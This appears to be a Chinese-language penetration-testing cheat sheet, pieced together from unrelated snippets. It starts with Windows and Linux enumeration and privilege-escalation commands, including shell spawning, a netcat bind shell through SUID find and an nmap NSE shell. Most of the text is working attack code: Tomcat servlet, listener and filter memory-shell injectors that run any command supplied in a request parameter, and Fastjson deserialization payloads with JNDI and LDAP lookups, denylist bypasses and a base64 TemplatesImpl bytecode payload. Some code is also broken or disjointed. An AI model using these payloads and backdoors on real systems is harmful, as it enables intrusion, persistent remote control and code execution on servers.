ipconfig /all 查询网络配置
dir 列出当前目录下的文件以及文件夹
whoami 显示当前用户
cd /d d: 进入d盘
md test 创建名为test的文件夹
copy nul 1.txt 创建空文件
type 1.txt 查看文件内容
del 1.txt 删除文件
del /f test 删除 test 文件夹下的所有文件
copy 1.txt d:\doc 将1.txt复制到 d:\doc 下
net user 查看所有用户
net user test 查看test用户信息
net user test password /add 添加用户
net user test /delete 删除 test 用户
net user test newPassword 重置 test 用户密码
tasklist 显示当前的进程信息
taskkill /im notedpad.exe 结束名为 notepad 的进程
taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行，exe 全路径，pid 号
netstat -ano 查看开启的端口连接情况
findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
sc delete 服务名 删除服务
systeminfo 查看操作系统等版本信息
netstat -ano 查看端口列表
set 环境变量

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """

drwxr-xr-x  2 kali kali    4096 Jan 27 12:52 Downloads
-rw-r--r--  1 root root     903 Jun 14 11:33 exp.html
-rw-r--r--  1 root root  153600 May  5 09:42 flag
lrwxrwxrwx  1 kali kali      28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg

-rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt

这里简单说一下比较常见的目录
/bin: 里面存的都是比较基本的系统二进制命令类似 ls rm 等
/etc：其中基本都是文本文件用来设置我们的系统的，例如常见的 /etc/passwd /etc/shadow ，在 /etc/shadow 中用户的账号密码
/proc：并不存在硬盘上而是在内存中，其中记录了系统内核运行的一些信息
/usr/bin：一些应用程序的可执行部分
/usr/local/bin： 本地增加的命令，例如：python pip 等
/var/log：各种程序的日志，之前说的 apache nginx 日志就在这里面
/tmp：存放临时文件
.ssh：id_rsa.pub 公钥，id_rsa 私钥，authorized_keys授权文件，将公钥添加到 authorized_keys 中就可以不利用密码进行连接了， rsa_id.pub 和 id_rsa.pub 一般为 644 ，但是 id_rsa 一定要为 600

uname -a    打印所有可用的系统信息
uname -r    内核版本
uname -n    系统主机名。
uname -m    查看系统内核架构（64位/32位）
hostname    系统主机名
cat /proc/version    内核信息
cat /etc/*-release   分发信息

cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /etc/group      列出系统上的所有组
whoami              查看当前用户
last                最后登录用户的列表
lastlog             所有用户上次登录的信息
lastlog –u %username%  有关指定用户上次登录的信息

whoami        当前用户名
id            当前用户信息
cat /etc/sudoers  谁被允许以root身份执行
sudo -l       当前用户可以以root身份执行操作

env        显示环境变量
set        现实环境变量
echo %PATH 路径信息
history    显示当前用户的历史命令记录
pwd        输出工作目录
cat /etc/profile   显示默认系统变量
cat /etc/shells    显示可用的shellrc
cat /etc/bashrc

ps aux
ps -ef
top
cat /etc/services

ps aux | grep root
ps -ef | grep root

ls -alh /usr/bin/
dpkg -l

cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

find / -perm -u=s -type f 2>/dev/null

ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find

find aaa - exec nc -lvp 5555 -e /bin/sh \;

# nse 脚本，shell.nse
os.execute('/bin/sh')
# nmap 提权
nmap --script=shell.nse 
或者
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell

vim
:set shell=/bin/sh
:shell

username:password:User ID:Group ID:comment:home directory:shell

#include<unistd.h>
void main()
{
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
}
// aaa.c

//指定允许其他域名访问
'Access-Control-Allow-Origin:http://172.20.0.206'//一般用法（*，指定域，动态设置），3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息（cookies）,该值只能是true,否则不返回
'Access-Control-Allow-Credentials:true'

//指定允许其他域名访问
'Access-Control-Allow-Origin:http://172.20.0.206'//一般用法（*，指定域，动态设置），3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息（cookies）,该值只能是true,否则不返回
'Access-Control-Allow-Credentials:true'
//预检结果缓存时间,也就是上面说到的缓存啦
'Access-Control-Max-Age: 1800'
//允许的请求类型
'Access-Control-Allow-Methods:GET,POST,PUT,POST'
//允许的请求头字段
'Access-Control-Allow-Headers:x-requested-with,content-type'

function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute("type","text/javascript");
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};

<script src="http://example.com/data.php?callback=dosomething"></script>

<script type="text/javascript">
    function dosomething(jsondata){
        //处理获得的json数据
    }
</script>

<script type="text/javascript">
    $.getJSON('http://example.com/data.php?callback=?,function(jsondata)'){
        //处理获得的json数据
    };
</script>

<!--Demo-->
<servlet>
    <servlet-name>servletDemo</servlet-name>
    <servlet-class>com.java.Memory.ServletDemo</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>WEB-INF/dispatcher-servlet.xml</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>servletDemo</servlet-name>
    <url-pattern>/servlet</url-pattern>
</servlet-mapping>

1. 通过 context.createWapper() 创建 Wapper 对象；

2. 设置 Servlet 的 LoadOnStartUp 的值；

3. 设置 Servlet 的 Name；

4. 设置 Servlet 对应的 Class；

5. 将 Servlet 添加到 context 的 children 中；

6. 将 url 路径和 servlet 类做映射。

<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
 
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
 
        }
    };
%>

<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/metaStor", name);
%>

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public static class servletTest extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
            System.out.println("doGet被调用");
            //servletResponse.getOutputStream().write("doGet被调用".getBytes());

            if (httpRequest.getParameter("c") != null) {
                System.out.println("eval");
                //String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
                String command = httpRequest.getParameter("c");
                //System.out.println(Arrays.toString(command));
                InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String output = scanner.hasNext() ? scanner.next() : "";
                httpResponse.getOutputStream().write(output.getBytes());
                httpResponse.getOutputStream().flush();
                //servletResponse.getWriter().write(output);
                //servletResponse.getWriter().flush();

            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            System.out.println("doPost被调用");
            doGet(req, resp);
        }

        @Override
        public void init() throws ServletException {
            System.out.println("servlet demo init！");
        }
    }
%>
<%
    servletTest servlet=new servletTest();
    // 一个小路径快速获得StandardContext，这两种都行，这个常用一点
    // Field reqF = request.getClass().getDeclaredField("request");
    // reqF.setAccessible(true);
    // Request req = (Request) reqF.get(request);
    // StandardContext stdcontext = (StandardContext) req.getContext();

    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext();



    org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());



    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/servlet", name);
    System.out.print("注入成功");

%>

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public  class listenerDemo implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            System.out.println("linstener Destroyed!");
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre){
            System.out.println("linstener Initialized!");
            String command = sre.getServletRequest().getParameter("fuck");
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    listenerDemo listenerdemo = new listenerDemo();
    context.addApplicationEventListener(listenerdemo);
%>

public class Demo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter init");
    }



    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        response.setCharacterEncoding("utf-8");
        request.setCharacterEncoding("utf-8");
        response.setContentType("text/html;Charset=UTF-8");
        System.out.println("接收到了请求，并且马上进行过滤");
        chain.doFilter(request, response); //chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet，你需要请求的资源
        System.out.println("过滤完了");
    }



    @Override
    public void destroy() {
        System.out.println("WOW Filter destroy");
    }
}

public class MyServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("我是doGet方法");
        resp.getWriter().print("success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>Demo</filter-name>
        <filter-class>Demo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>Demo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>

</web-app>

public class DemoFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null){
            Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
            InputStream inputStream = exec.getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
            String output = scanner.hasNext() ? scanner.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        System.out.println("过滤器调用完毕，开始转发给Servlet...");
        chain.doFilter(request,response);

    }

    @Override
    public void destroy() {

    }
}

ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
        // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
        // 这样我们就获取到了 context 
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

public class InjectMemoryServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context，也就是standardContext
            ServletContext servletContext = req.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef，设置filter名等参数后，调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径，并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig，构造方法将 FilterDef传入后获取filterConfig后，将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                resp.getWriter().write("Success");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

filterMap.setDispatcher(DispatcherType.REQUEST.name());

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "test;
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };



        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
    isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                + "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

// 受AutoTypeSupport影响的版本
if (className.startsWith(deny)) {

// 不受AutoTypeSupport影响的版本
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

<init>:10, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
setProperties:56, JndiDataSourceFactory (org.apache.ibatis.datasource.jndi)
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
main:8, JdbcRowSetImplPoc

import base64

fin = open(r"Test.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print(poc)

package fastjson;

import com.alibaba.fastjson.JSON;

public class Poc {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}";        JSON.parse(payload);
        JSON.parseObject(payload，Feature.SupportNonPublicField);
    }
}

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

JSON.parseObject(payload，Feature.SupportNonPublicField);

<init>:11, Test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getTransletInstance:408, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:460, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
